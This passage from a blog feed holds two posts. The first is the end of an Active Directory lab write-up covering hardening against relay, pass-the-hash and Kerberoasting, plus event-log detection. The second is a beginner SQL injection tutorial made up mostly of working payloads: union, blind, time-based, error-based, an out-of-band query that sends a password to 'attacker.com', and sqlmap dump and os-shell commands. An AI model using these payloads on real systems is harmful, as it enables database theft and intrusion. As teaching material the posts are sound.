DHCPv6:</strong></li></ol><ul><li>Click <strong>Outbound Rules</strong> in the left pane.</li><li>Right-click on Outbound Rules &gt; New Rule….</li><li>Choose <strong>Custom</strong> and click Next.</li><li>For “Program”, choose <strong>All programs</strong>. Click Next.</li><li>For “Protocol and Ports”, select:</li><li><strong>Protocol type:</strong> UDP</li><li><strong>Local port:</strong> 547 (for DHCPv6-Server)</li><li><strong>Remote port:</strong> 546 (for DHCPv6-Client)</li><li>Click Next.</li><li>For “Scope”, leave as Any IP address. Click Next.</li><li>For “Action”, select <strong>Block the connection</strong>. Click Next.</li><li>For “Profile”, ensure Domain, Private, and Public are all checked. Click Next.</li><li>For “Name”, enter: <strong>Block Outbound DHCPv6</strong>. Click Finish.</li></ul><ol><li><strong>Verify Created Rules:</strong></li></ol><ul><li>After creating all three rules, navigate back to Inbound Rules and Outbound Rules to confirm they are listed and enabled.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*CMfMmb1YwAZhJneE50_Kag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*3gRJQnhqdjMhFRTV2EY-qw.png" /></figure><p><strong>Verification</strong></p><p>After applying these Group Policy changes on the Domain Controller, force a Group Policy update on both ADLAB-DC01 and AD-CLIENT01 by running gpupdate /force in an elevated PowerShell/CMD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*FnntKG6hjBpZYRpbQnDZuA.png" /></figure><p>A full <strong>restart of both VMs</strong> is highly recommended for the changes to take full effect. Subsequently, re-attempting the mitm6 attack fails, as clients will no longer pick up the rogue IPv6 DNS advertisements, and mitm6 will not coerce authentication.</p><h3>4.3 Mitigation of SMB Relay</h3><p><strong>Objective</strong></p><p>The objective of this mitigation is to require SMB signing across the domain, thereby preventing SMB Relay attacks. This directly counters the ability of an attacker to relay captured NTLM hashes to SMB services.</p><p><strong>Mitigation Strategy</strong></p><p>The primary defense against SMB Relay is to enforce SMB signing on all devices within the domain. This is achieved by configuring a Group Policy Object (GPO) on the Domain Controller (ADLAB-DC01).</p><h3>4.3.1 Enable SMB Signing (Client &amp; Server) via Group Policy (on ADLAB-DC01)</h3><ol><li><strong>Open Group Policy Management:</strong> On the Domain Controller (ADLAB-DC01), navigate to Start &gt; Server Manager &gt; Tools &gt; Group Policy Management.</li><li><strong>Edit Default Domain Policy:</strong> Expand Forest &gt; Domains &gt; ADPENTESTING.local. Right-click on <strong>Default Domain Policy</strong> and select Edit….</li><li><strong>Navigate to SMB Signing Policies:</strong> In the Group Policy Management Editor, go to: Computer Configuration &gt; Policies &gt; Windows Settings &gt; Security Settings &gt; Local Policies &gt; Security Options.</li><li><strong>Configure SMB Signing Policies:</strong></li></ol><ul><li><strong>Microsoft network client: Digitally sign communications (always)</strong></li><li>Double-click this policy. Select <strong>Enabled</strong>. Click Apply &gt; OK.</li><li><em>Purpose:</em> This ensures that client machines (AD-CLIENT01) will always attempt to digitally sign their SMB communications when connecting to other servers.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*Lmhae2Pb3heT53dsCAbCng.png" /></figure><ul><li><strong>Microsoft network server: Digitally sign communications (always)</strong></li><li>Double-click this policy. Select <strong>Enabled</strong>. Click Apply &gt; OK.</li><li><em>Purpose:</em> This ensures that servers (including ADLAB-DC01 and AD-CLIENT01 when acting as a server) will always <em>require</em> incoming SMB communications to be digitally signed. <strong>This directly reverses the manual disabling of SMB signing performed for the lab attack, thereby closing that vulnerability.</strong></li></ul><p><strong>Verification</strong></p><p>After applying these Group Policy changes on the Domain Controller, force a Group Policy update on both ADLAB-DC01 and AD-CLIENT01 by running gpupdate /force in an elevated PowerShell/CMD. A full <strong>restart of both VMs</strong> is highly recommended for the changes to take full effect. Subsequently, re-attempting the SMB Relay attack <strong>fails</strong> with “Signing required” errors, demonstrating the effectiveness of this mitigation.</p><h3>4.4 Mitigation of Pass the Hash</h3><p><strong>Objective</strong></p><p>The objective of this mitigation is to enforce strong password policies and implement measures to protect privileged accounts, thereby significantly hindering Pass the Hash and Pass the Password attacks.</p><p><strong>Mitigation Strategy</strong></p><p>Defenses against Pass the Hash and Pass the Password involve a combination of strong password policies and specialized account protections. These are primarily configured via Group Policy Objects (GPOs) on the Domain Controller (ADLAB-DC01).</p><h3>4.4.1 Implement Strong Password Policy (via Group Policy on ADLAB-DC01)</h3><p>This ensures that all domain user passwords are long, complex, and difficult to guess or crack offline, directly countering hash cracking attempts.</p><ol><li><strong>Open Group Policy Management:</strong> On the Domain Controller (ADLAB-DC01), navigate to Start &gt; Server Manager &gt; Tools &gt; Group Policy Management.</li><li><strong>Edit Default Domain Policy:</strong> Expand Forest &gt; Domains &gt; ADPENTESTING.local. Right-click on <strong>Default Domain Policy</strong> and select Edit….</li><li><strong>Navigate to Password Policy:</strong> In the Group Policy Management Editor, go to: Computer Configuration &gt; Policies &gt; Windows Settings &gt; Security Settings &gt; Account Policies &gt; Password Policy.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*HtOsETWA2FrYoxPplBhSrw.png" /></figure><ol><li><strong>Configure Password Policies:</strong></li></ol><ul><li><strong>Minimum password length</strong>:</li><li>Double-click this policy. Set to <strong>14</strong> characters or more. Click Apply &gt; OK.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*SbFR8O82cvXE_mZoLPlfCQ.png" /></figure><ul><li><strong>Password must meet complexity requirements</strong>:</li><li>Double-click this policy. Select <strong>Enabled</strong>. Click Apply &gt; OK.</li></ul><h3>4.4.2 Protect Privileged Accounts (Protected Users Group on ADLAB-DC01)</h3><p>This group applies enhanced security measures to highly privileged accounts, making them harder to compromise via credential theft (e.g., preventing NTLM hash caching, restricting delegation).</p><ol><li><strong>Open Active Directory Users and Computers:</strong> On the Domain Controller (ADLAB-DC01), navigate to Start &gt; search for Active Directory Users and Computers &gt; Open it.</li><li><strong>Navigate to “Builtin” container:</strong> Expand ADPENTESTING.local &gt; Click on <strong>Builtin</strong>.</li><li><strong>Find and Edit “Protected Users” Group:</strong> In the right pane, find and <strong>double-click</strong> the <strong>Protected Users</strong> group.</li><li><strong>Add Members:</strong> Go to the <strong>Members</strong> tab &gt; Click <strong>Add…</strong>.</li><li><strong>Add Highly Privileged Accounts:</strong> In the “Select Users, Contacts, Computers, Service Accounts, or Groups” dialog, type the names of your highly privileged accounts. For this lab, SQLService, gus, and Administrator were added. Click Check Names &gt; OK.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*WKd0fQ4wUYEQxMgyE1K6Qw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*adZe488E5kPFTDVVd-mtcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*djHqrOycYsh-ZsYPOtYa3A.png" /></figure><ol><li>Click Apply &gt; OK.</li></ol><h3>4.4.3 Protect Individual Sensitive Accounts</h3><p>For highly sensitive accounts, additional individual protections can be applied.</p><ol><li><strong>Open Active Directory Users and Computers:</strong> (Same as above)</li><li><strong>Find and Edit Account:</strong> Navigate to the Users container (or relevant OU). Find and <strong>double-click</strong> a sensitive user account (e.g., Administrator).</li><li><strong>Configure Account Options:</strong> Go to the <strong>Account</strong> tab.</li><li><strong>Check “Account is sensitive and cannot be delegated”:</strong> Under “Account options”, check this box. Click Apply &gt; OK.</li></ol><ul><li><em>Objective:</em> This prevents the account’s credentials from being delegated (e.g., in unconstrained delegation scenarios) and can add further protections against credential caching.</li></ul><p><strong>Verification</strong></p><p>After applying these Group Policy changes on the Domain Controller, force a Group Policy update on both ADLAB-DC01 and AD-CLIENT01 by running gpupdate /force in an elevated PowerShell/CMD. A full <strong>restart of both VMs</strong> is highly recommended for the changes to take full effect. Subsequently, re-attempting Pass the Hash attacks using the protected accounts should now <strong>fail</strong> or be significantly more difficult, demonstrating the effectiveness of these mitigations.</p><h3>4.5 Kerbroasting Mitigation Strategies</h3><p>Strong Password Policies: Enforce the use of strong, complex passwords for service accounts and change them regularly.</p><p>Managed Service Accounts (MSAs): Utilize MSAs or group-managed service accounts (gMSAs) to handle password management automatically.</p><p>Monitoring and Detection: Implement monitoring for unusual service ticket requests and use anomaly detection to identify potential Kerberoasting attempts.</p><p>Least Privilege Principle: Ensure service accounts have only the necessary privileges to perform their tasks.</p><h3>4.6 Token Impersonation Mitigation Strategies</h3><h3>4.6 1 Restrict Token Creation Privileges</h3><ul><li><strong>Limit access</strong> to token creation to trusted users/groups only via Group Policy or SDDL.</li><li><strong>Audit token creation</strong> events regularly to detect misuse.</li><li><strong>Apply precise permissions</strong> using SDDL to control who can create or duplicate tokens.</li></ul><h3>4.6.2 Implement Account Tiering</h3><ul><li><strong>Tier 0:</strong> Domain-level admins — use only for critical tasks.</li><li><strong>Tier 1:</strong> Admin accounts for servers/apps — no access to Tier 0.</li><li><strong>Tier 2:</strong> Standard user accounts — no admin rights.</li><li><strong>Use separate admin workstations</strong> for higher-tier accounts (Privileged Access Workstations).</li><li><strong>Block cross-tier access</strong> to reduce risk of lateral movement.</li></ul><h3>4.6.3 Restrict Local Admin Rights.</h3><ul><li><strong>Minimize local admin access</strong> to essential users only.</li><li><strong>Use LAPS</strong> to manage local admin passwords securely and rotate them regularly.</li><li><strong>Deploy PAWs</strong> for admin tasks to isolate sensitive operations.</li><li><strong>Implement JEA</strong> to grant only the permissions needed for specific admin tasks.</li><li><strong>Review and remove unused admin accounts</strong> regularly.</li><li><strong>Enforce Group Policy</strong> to limit what local admins can do and access.</li></ul><h3>5-Detection &amp; Monitoring (SOC Component)</h3><p>This section focuses on the “Blue Team” aspect of Active Directory security, demonstrating how the attacks performed in the offensive phases leave traces in system logs that can be analyzed to detect malicious activity. This simulates the role of a Security Operations Center (SOC) in identifying and responding to threats.</p><p><strong>Objective:</strong> To show concrete evidence of attack detection by analyzing relevant Windows Event Logs generated on the Domain Controller and client machines during the offensive operations.</p><p><strong>Tools Used for Detection:</strong></p><ul><li><strong>Windows Event Viewer:</strong> Built-in Windows tool for viewing and filtering event logs.</li><li><strong>Sysmon:</strong> A Microsoft Sysinternals tool for highly detailed process and network activity logging.</li></ul><p><strong>General Detection Methodology:</strong></p><p>For each attack, specific Windows Event IDs and their associated details are monitored. Suspicious activity is identified by filtering logs based on event type, source IP addresses (e.g., the Kali attacker machine’s IP), affected user accounts, and specific process or service names.</p><h3>5.1 Sysmon Installation and Verification</h3><p>To enable granular logging crucial for advanced detection, Sysmon was installed on the relevant Windows virtual machines (Domain Controller and Windows 10 Client).</p><ol><li><strong>Download Sysmon:</strong> The Sysmon.zip package was downloaded from the official Sysinternals website and extracted to a dedicated directory.<em>.</em></li><li><strong>Obtain Configuration File:</strong> A comprehensive Sysmon configuration file (sysmonconfig.xml) was downloaded (from SwiftOnSecurity’s GitHub repository) and placed in the Sysmon directory.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*Bl7tUymVq6szJI86Bp00hQ.png" /></figure><p><strong>3. Install Sysmon with Configuration:</strong> Sysmon was installed using the . .\Sysmon64 -i sysmonconfig.xml command from an elevated Command Prompt, accepting the EULA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*S6Nteompk7alWmUYd_rnpg.png" /></figure><p><strong>4. Verify Logging in Event Viewer:</strong> After installation, Sysmon’s operational logs were verified in Event Viewer.</p><ul><li><strong>Navigate to Sysmon Logs:</strong> The logs are located under Applications and Services Logs &gt; Microsoft &gt; Windows. The Sysmon log source was successfully found.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BfBqJKewBgBVOm9JMBH1qQ.png" /></figure><ul><li><strong>Event Activity:</strong> The Operational log showed a stream of events, including Event ID 1 (Process Create) and Event ID 22 (DNS query), indicating successful logging of system activity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RAo8VrPHq49JtBwbbGEssw.png" /></figure><p>This successful installation and verification of Sysmon provides the granular data necessary for detailed attack detection.</p><h3>5.2 Detection of LLMNR/NBT-NS Poisoning</h3><p><strong>Attack Overview:</strong> LLMNR/NBT-NS poisoning attempts to coerce authentication by responding to name resolution fallbacks, leading to failed logon attempts on the victim machine as it tries to authenticate to the attacker.</p><ul><li><strong>Relevant Event ID:</strong> 4625 (An account failed to log on)</li><li><strong>Location:</strong> Domain Controller (ADLAB-DC01)</li><li><strong>Key Indicators:</strong></li><li>Logon Type: 3 (Network)</li><li>Failure Reason: Unknown user name or bad password.</li><li>Account For Which Logon Failed: The user account attempting to authenticate (ADPENTESTING\Make).</li><li>Source Network Address: The IP address of the attacker’s Kali Linux machine (e.g., 192.168.233.132).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*TnaXm64Jj2qEwr-GVjbMjA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*V8VCDTZGnDF9TkmC4oo3wQ.png" /></figure><h3>5.3 Detection of IPv6 DNS Takeover &amp; NTLM Relay to LDAP/S</h3><p><strong>Attack Overview:</strong> This attack involves mitm6 coercing authentication, which is then relayed by ntlmrelayx.py to the Domain Controller’s LDAP/S service to achieve privilege escalation.</p><ul><li><strong>Relevant Event IDs:</strong></li><li>4624 (An account was successfully logged on)</li><li>4720 (A user account was created)</li><li>4728 (A member was added to a security-enabled global group — specifically “Domain Admins”)</li><li><strong>Location:</strong> Domain Controller (ADLAB-DC01)</li><li><strong>Key Indicators:</strong></li><li><strong>For 4624 (Successful Relay Authentication):</strong></li><li>Logon Type: 3 (Network)</li><li>New Logon &gt; Account Name: The account whose hash was relayed (ADPENTESTING\Make).</li><li>Source Network Address: The IP address of the attacker’s Kali Linux machine (192.168.233.132), indicating the relay source.</li><li>Authentication Package: NTLM or Kerberos.</li><li><strong>For 4720 (New User Account Created):</strong></li><li>Subject &gt; Account Name: Administrator.</li><li>New Account &gt; Account Name: The name of the newly created rogue user (UhnDendeWw).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*PopA21bZ5lyGXs8kv80aZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*YLq-mXrG6iHqr9p5IqOqIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*x16K0muZbXUBHvk0hk3Lng.png" /></figure><h3>5.4 Detection of Kerberoasting</h3><p><strong>Relevant Event ID:</strong> 4769 (A Kerberos service ticket was requested) — <em>Windows Security Log</em></p><p><strong>Location:</strong> Domain Controller (ADLAB-DC01)</p><p><strong>Key Indicators:</strong></p><ul><li><strong>For 4769 (Security Log — Kerberos Service Ticket Requested):</strong></li><li>Account Name: The user account requesting the ticket (Make@ADPENTESTING.LOCAL). This is the attacker’s compromised user.</li><li>Service Name: The Service Principal Name (SPN) for which the ticket was requested (SQLService). This indicates a Kerberoastable target.</li><li>Client Address: The IP address of the machine making the request (::ffff:192.168.233.132 which is my Kali IP). This is crucial for identifying the attacker’s source.</li><li>Ticket Options: specific flag 0x40810000 (Forwardable, Renewable), which are common in Kerberoasting attempts as the attacker wants a ticket they can reuse.</li><li>Result Code: 0x0 (Success), indicating the ticket was successfully issued.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*IXObS8-ObSo7kjfawY9aCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*gK8g2ErnORIjndwYnCxZQw.png" /></figure><h3>5.5 Detection of Token Impersonation</h3><p><strong>Attack Overview:</strong> Token impersonation involves an attacker, already having SYSTEM privileges on a machine (via a Meterpreter session), stealing and using an authentication token from another logged-on user (ADPENTESTING\Administrator) to gain their privileges. This often involves accessing the memory of the lsass.exe process.</p><ul><li><strong>Relevant Event IDs:</strong></li><li>4624 (An account was successfully logged on) — <em>Windows Security Log</em></li><li>4672 (Special privileges assigned to new logon) — <em>Windows Security Log</em></li><li>Sysmon Event ID 1 (Process Create) — <em>Sysmon Log</em></li><li>Sysmon Event ID 10 (Process Access) — <em>Sysmon Log</em></li><li><strong>Location:</strong> Windows 10 Client (AD-CLIENT01) — This is the machine where the Meterpreter session is active and the impersonation occurs.</li><li><strong>Key Indicators:</strong></li><li><strong>For 4624 (Security Log — Successful Logon by Attacker’s Session):</strong></li><li>Logon Type: 3 (Network) — indicating the initial remote access.</li><li>New Logon &gt; Account Name: The account used for initial access (ADPENTESTING\Make).</li><li>Source Network Address: The IP address of the attacker’s Kali Linux machine (192.168.233.132).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*MrDl-pTU7sRIOgdrxH-Y1w.png" /></figure><p><em>Figure : Event ID 4624 showing the initial successful network logon by ADPENTESTING\Make from the attacker’s machine (192.168.233.132), which precedes the token impersonation.</em></p><ul><li><strong>For 4672 (Security Log — Special Privileges Assigned):</strong></li><li>This event confirms that the initial logon session (ADPENTESTING\Make’s session) was granted powerful privileges necessary for token manipulation.</li><li>Subject &gt; Account Name: The account granted privileges (ADPENTESTING\Make or NT AUTHORITY\SYSTEM).</li><li>Privileges: Look for SeDebugPrivilege, SeImpersonatePrivilege, SeDelegateSessionUserImpersonatePrivilege. <strong>These are critical for accessing LSASS and impersonating tokens</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*JtGWAGCcX0YHFHt8quyjaQ.png" /></figure><h3>5.6 Detection of Credential Dumping (Mimikatz)</h3><p><strong>Attack Overview:</strong> Credential dumping involves extracting password hashes or cleartext credentials from a compromised system’s memory (LSASS process) or directly from the Active Directory database (NTDS.dit) on a Domain Controller. This is a critical post-exploitation phase for attackers, often performed using tools like Mimikatz.</p><ul><li><strong>Relevant Event IDs:</strong></li><li>Sysmon Event ID 1 (Process Create) — <em>Sysmon Log</em></li><li><strong>Location:</strong></li><li><strong>Windows 10 Client (AD-CLIENT01):</strong> For local LSASS dumping (Mimikatz).</li><li><strong>Key Indicators:</strong></li><li><strong>For Sysmon Event ID 1 (Process Create — for dumping tools):</strong></li><li><strong>Description:</strong> This event logs the creation of a new process, providing crucial details about the executable and its command line. It is a primary indicator for detecting the launch of credential dumping tools.</li><li>Image: Look for the executable name of the dumping tool, such as <strong>mimikatz.exe</strong>.</li><li><strong>CommandLine:</strong> The full command line will show specific arguments used, like sekurlsa::logonpasswords (for extracting credentials from LSASS).</li><li><strong>ParentImage:</strong> The process that launched the dumping tool (powershell.exe, cmd.exe, or a Meterpreter payload’s executable).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*iGriNutMM-orf-JmruqM_A.png" /></figure><h3>5.7 Enterprise Endpoint Security (CrowdStrike, McAfee)</h3><h3>5.7.1 CrowdStrike</h3><p>CrowdStrike Falcon is a leading, <strong>cloud-native Endpoint Detection and Response (EDR)</strong> platform.</p><ul><li><strong>Core Functionality:</strong> Utilizes a lightweight agent to collect extensive endpoint telemetry data (process activity, network connections, file changes).</li><li><strong>Detection Capabilities:</strong> Employs artificial intelligence and machine learning in the cloud for real-time detection and prevention of advanced threats, including malware-less attacks, ransomware, and Advanced Persistent Threats (APTs).</li><li><strong>Key Focus:</strong> Provides real-time visibility, proactive threat hunting, and rapid incident response capabilities.</li></ul><h3>5.7.2 McAfee</h3><p>McAfee (now largely known as Trellix for enterprise solutions) offers a comprehensive suite of endpoint security products.</p><ul><li><strong>Solution Scope:</strong> Encompasses traditional antivirus, <strong>Endpoint Protection Platform (EPP)</strong>, and Endpoint Detection and Response (EDR) functionalities.</li><li><strong>Defense Layers:</strong> Provides multi-layered defense mechanisms, including signature-based detection, behavioral analysis, host-based firewalls, and device control.</li><li><strong>Objective:</strong> Aims to prevent, detect, and remediate a wide spectrum of threats across endpoints, ensuring broad protection against diverse malware and exploitation techniques.</li></ul><h3>Conclusion</h3><p>This project successfully demonstrated a comprehensive and practical approach to Active Directory security within a controlled lab environment. By simulating real-world <strong>offensive techniques</strong>, we effectively highlighted common vulnerabilities across various phases of an attack, from initial reconnaissance and credential capture (e.g., LLMNR/NBT-NS poisoning, Kerberoasting) to advanced privilege escalation (e.g., SMB Relay, Token Impersonation, AD CS attacks) and ultimate domain dominance (e.g., credential dumping).</p><p>Crucially, the project extended beyond mere exploitation. It showcased the implementation of robust <strong>defensive countermeasures and hardening strategies</strong> to mitigate identified risks, such as enforcing SMB signing, protecting privileged accounts, and correcting AD CS misconfigurations. Furthermore, the integration of a <strong>Security Operations Center (SOC) component</strong>, leveraging Sysmon and Windows Event Logs, provided tangible evidence of <strong>detection capabilities</strong>, illustrating how these attacks leave discernible traces for vigilant monitoring.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1bc5af1a980d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection: A Beginner’s Guide]]></title>
            <link>https://medium.com/@wiame.elouahabi5/sql-injection-a-beginners-guide-906a653fc5c4?source=rss-336fac6e5464------2</link>
            <guid isPermaLink="false">https://medium.com/p/906a653fc5c4</guid>
            <category><![CDATA[sql-injection-attack]]></category>
            <dc:creator><![CDATA[Wiame El Ouahabi]]></dc:creator>
            <pubDate>Tue, 06 May 2025 13:47:48 GMT</pubDate>
            <atom:updated>2025-05-06T13:47:48.956Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction to SQL Injection</h3><p>SQL Injection is a web security vulnerability that allows attackers to interfere with the queries an application makes to its database. It’s one of the most common and dangerous vulnerabilities, often leading to unauthorized access to sensitive data, data manipulation, and even complete system compromise.</p><p>At its core, SQL injection occurs when user input is improperly sanitized before being used in SQL queries. Attackers can manipulate these inputs to alter the query’s structure and behavior.</p><h3>Types of SQL Injection</h3><h3>1. Classic/Union-Based SQL Injection</h3><p><strong>How to detect:</strong></p><ul><li>Try adding a single quote (&#39;) to input fields - if it causes an error, the site may be vulnerable</li><li>Test with basic payloads like &#39; OR &#39;1&#39;=&#39;1</li><li>Check if you can use UNION statements to retrieve data</li></ul><p><strong>Exploitation steps:</strong></p><ol><li>Determine the number of columns using ORDER BY:</li></ol><pre>&#39; ORDER BY 1 - &#39; ORDER BY 2 -</pre><pre>&#39; ORDER BY 2--</pre><p>Continue until you get an error to find the correct number.</p><p>2. Identify which columns can return string data:</p><pre>&#39; UNION SELECT &#39;a&#39;,NULL,NULL--</pre><p>3. Retrieve database information:</p><pre>-- For MySQL/Microsoft:<br>&#39; UNION SELECT @@version,2#</pre><pre>-- For Oracle:<br>&#39; UNION SELECT banner,NULL FROM v$version--</pre><p>4. Enumerate tables and columns:</p><pre>-- MySQL:<br>&#39; UNION SELECT table_name,&#39;NULL&#39; FROM information_schema.tables-<br></pre><pre>-- Oracle:<br>&#39; UNION SELECT table_name,NULL FROM all_tables--</pre><p>5. Extract data from specific tables:</p><pre>&#39; UNION SELECT username,password FROM users--</pre><h3>2. Blind SQL Injection (Boolean-Based)</h3><p><strong>How to detect:</strong></p><ul><li>The application doesn’t display database errors but behaves differently based on SQL conditions</li><li>Test with conditions that evaluate to true/false:</li></ul><pre>&#39; AND 1=1-- (should return normal response)<br>&#39; AND 1=0-- (should return different response)</pre><p><strong>Exploitation steps:</strong></p><ol><li>Confirm vulnerability with boolean conditions</li><li>Determine database structure by asking true/false questions:</li></ol><pre>&#39; AND (SELECT &#39;x&#39; FROM users LIMIT 1)=&#39;x&#39;--</pre><ol><li>Enumerate data character by character:</li></ol><pre>&#39; AND SUBSTRING((SELECT password FROM users WHERE username=&#39;admin&#39;),1,1)=&#39;a&#39;--</pre><h3>3. Blind SQL Injection (Time-Based)</h3><p><strong>How to detect:</strong></p><ul><li>The application has no visible response differences</li><li>Test with time-delay functions:</li></ul><pre>&#39; || pg_sleep(10)-- (PostgreSQL)<br>&#39;; WAITFOR DELAY &#39;0:0:10&#39;-- (Microsoft)</pre><p><strong>Exploitation steps:</strong></p><ol><li>Confirm with time delays</li><li>Extract data by measuring response times:</li></ol><pre>&#39; || (SELECT CASE WHEN (username=&#39;admin&#39; AND SUBSTRING(password,1,1)=&#39;a&#39;) <br>    THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users)--</pre><h3>4. Verbal SQL Injection</h3><h4>What is Verbal SQL Injection?</h4><p>Verbal SQL Injection occurs when an application <strong>displays full SQL error messages</strong>, revealing:</p><ul><li>The <strong>structure of SQL queries</strong></li><li><strong>Database schema details</strong> (table names, columns)</li><li>Sometimes even <strong>raw data</strong> in error messages</li></ul><h4>How to Detect Verbal SQLi?</h4><ol><li><strong>Test with a single quote (</strong>&#39;<strong>)</strong></li></ol><pre>&#39;</pre><ul><li>If the error shows the <strong>full SQL query</strong>, it’s verbal SQLi.</li></ul><pre>ERROR: unterminated quoted string at or near &quot;&#39;&quot; SELECT * FROM users WHERE id = &#39;1&#39;&#39;</pre><p><strong>2. Check if errors expose database structure</strong></p><pre>&#39; AND 1=0 UNION SELECT 1,table_name FROM information_schema.tables -</pre><ul><li>If the error leaks table names, it’s <strong>verbal SQLi</strong>.</li></ul><h4>Exploitation Steps</h4><h4>Step 1: Confirm Vulnerability</h4><pre>&#39;</pre><ul><li><strong>Expected Error</strong>:</li></ul><pre>ERROR: Syntax error in SQL query: SELECT * FROM products WHERE id = &#39;1&#39;&#39;</pre><ul><li><strong>Verbal SQLi confirmed</strong> (query structure leaked).</li></ul><h4>Step 2: Extract Database Schema</h4><pre>&#39; AND 1=0 UNION SELECT 1,table_name FROM information_schema.tables--</pre><ul><li><strong>Error Response</strong>:</li></ul><pre>ERROR: UNION types integer and text cannot be matched</pre><ul><li>Confirms information_schema access.</li></ul><h4>Step 3: Leak Table Names</h4><pre>&#39; AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)--</pre><ul><li><strong>Error Leaks First Table</strong>:</li></ul><pre>ERROR: invalid input syntax for integer: &quot;users&quot;</pre><ul><li>Table name = users.</li></ul><h4>Step 4: Extract Column Names</h4><pre>&#39; AND 1=CAST((SELECT column_name FROM information_schema.columns WHERE table_name=&#39;users&#39; LIMIT 1) AS int)--</pre><ul><li><strong>Error Leaks Column</strong>:</li></ul><pre>ERROR: invalid input syntax for integer: &quot;username&quot;</pre><ul><li>Column = username.</li></ul><h4>Step 5: Dump Data (Usernames/Passwords)</h4><pre>&#39; AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--</pre><ul><li><strong>Error Leaks Username</strong>:</li></ul><pre>ERROR: invalid input syntax for integer: &quot;admin</pre><ul><li>Username = admin.</li></ul><pre>&#39; AND 1=CAST((SELECT password FROM users WHERE username=&#39;admin&#39;) AS int)--</pre><ul><li><strong>Error Leaks Password</strong>:</li></ul><pre>ERROR: invalid input syntax for integer: &quot;s3cr3tP@ss&quot;</pre><ul><li>Password = s3cr3tP@ss.</li></ul><h3>5. Error-Based SQL Injection</h3><p><strong>Purpose:</strong> Force database errors to extract information through error messages.</p><p><strong>Payloads:</strong></p><pre>&#39; AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE &#39;a&#39; END)=&#39;a  -- Triggers error if true<br>&#39; AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE &#39;a&#39; END)=&#39;a  -- No error if false</pre><p><strong>Works in:</strong></p><ul><li><strong>MySQL</strong>: Uses 1/0 (division by zero)</li><li><strong>PostgreSQL</strong>: Also uses 1/0</li><li><strong>SQL Server</strong>: Uses 1/0 or CAST(&#39;X&#39; AS INT)</li><li><strong>Oracle</strong>: Uses 1/0 or UTL_INADDR.GET_HOST_NAME (if available)</li></ul><h4>5.1. Blind SQL Injection (When Errors Are Not Visible)</h4><p>If errors are suppressed, these payloads can still be used in <strong>Time-Based Blind SQLi</strong> by replacing 1/0 with a delay function:</p><p><strong>Modified for Time-Based:</strong></p><pre>&#39; AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE NULL END)=&#39;a  -- PostgreSQL<br>&#39; AND (SELECT CASE WHEN (1=1) THEN BENCHMARK(10000000,MD5(1)) ELSE NULL END)=&#39;a  -- MySQL</pre><p><strong>Works in:</strong></p><ul><li>Time-based detection when errors are hidden.</li></ul><h3>6. Out-of-Band SQL Injection</h3><p><strong>How to detect:</strong></p><ul><li>When other methods don’t work and the server makes external requests</li><li>Test with DNS lookups or HTTP requests:</li></ul><pre>&#39; || (SELECT LOAD_FILE(CONCAT(&#39;\\\\&#39;,(SELECT password FROM users LIMIT 1),&#39;.attacker.com\\share\\&#39;))) -</pre><h3>Essential Tools for SQL Injection</h3><h3>Burp Suite Proxy &amp; Repeater</h3><p><strong>Proxy:</strong></p><ul><li>Intercepts all requests between your browser and the target</li><li>Allows modification of requests before forwarding</li><li>Essential for testing different payloads</li></ul><p><strong>Repeater:</strong></p><ul><li>Lets you manually resend and modify individual requests</li><li>Perfect for fine-tuning injection payloads</li><li>Allows you to see exact responses to each payload</li></ul><h4>SQLMap</h4><p>SQLMap is an automated tool that detects and exploits SQL injection vulnerabilities.</p><p><strong>For GET requests:</strong></p><pre>sqlmap -u &quot;http://example.com/page?id=1&quot; --dbs</pre><p><strong>For POST requests:</strong></p><ol><li>Capture the request with Burp</li><li>Save to a file (request.txt)</li></ol><pre>sqlmap -r request.txt --dbs</pre><p><strong>Common flags:</strong></p><ul><li>--dbs: List databases</li><li>-D database --tables: List tables in a database</li><li>-D database -T table --dump: Dump table contents</li><li>--os-shell: Attempt to get an operating system shell</li></ul><h3>Defense Against SQL Injection</h3><ol><li><strong>Use Prepared Statements (Parameterized Queries)</strong></li><li><strong>Input Validation</strong></li><li><strong>Principle of Least Privilege</strong> (DB users should have minimal permissions)</li><li><strong>Web Application Firewalls</strong></li><li><strong>Regular Security Testing</strong></li></ol><h4>Conclusion</h4><p>SQL injection remains a critical threat to web applications. Understanding how to identify and exploit these vulnerabilities is essential for both attackers and defenders. Always 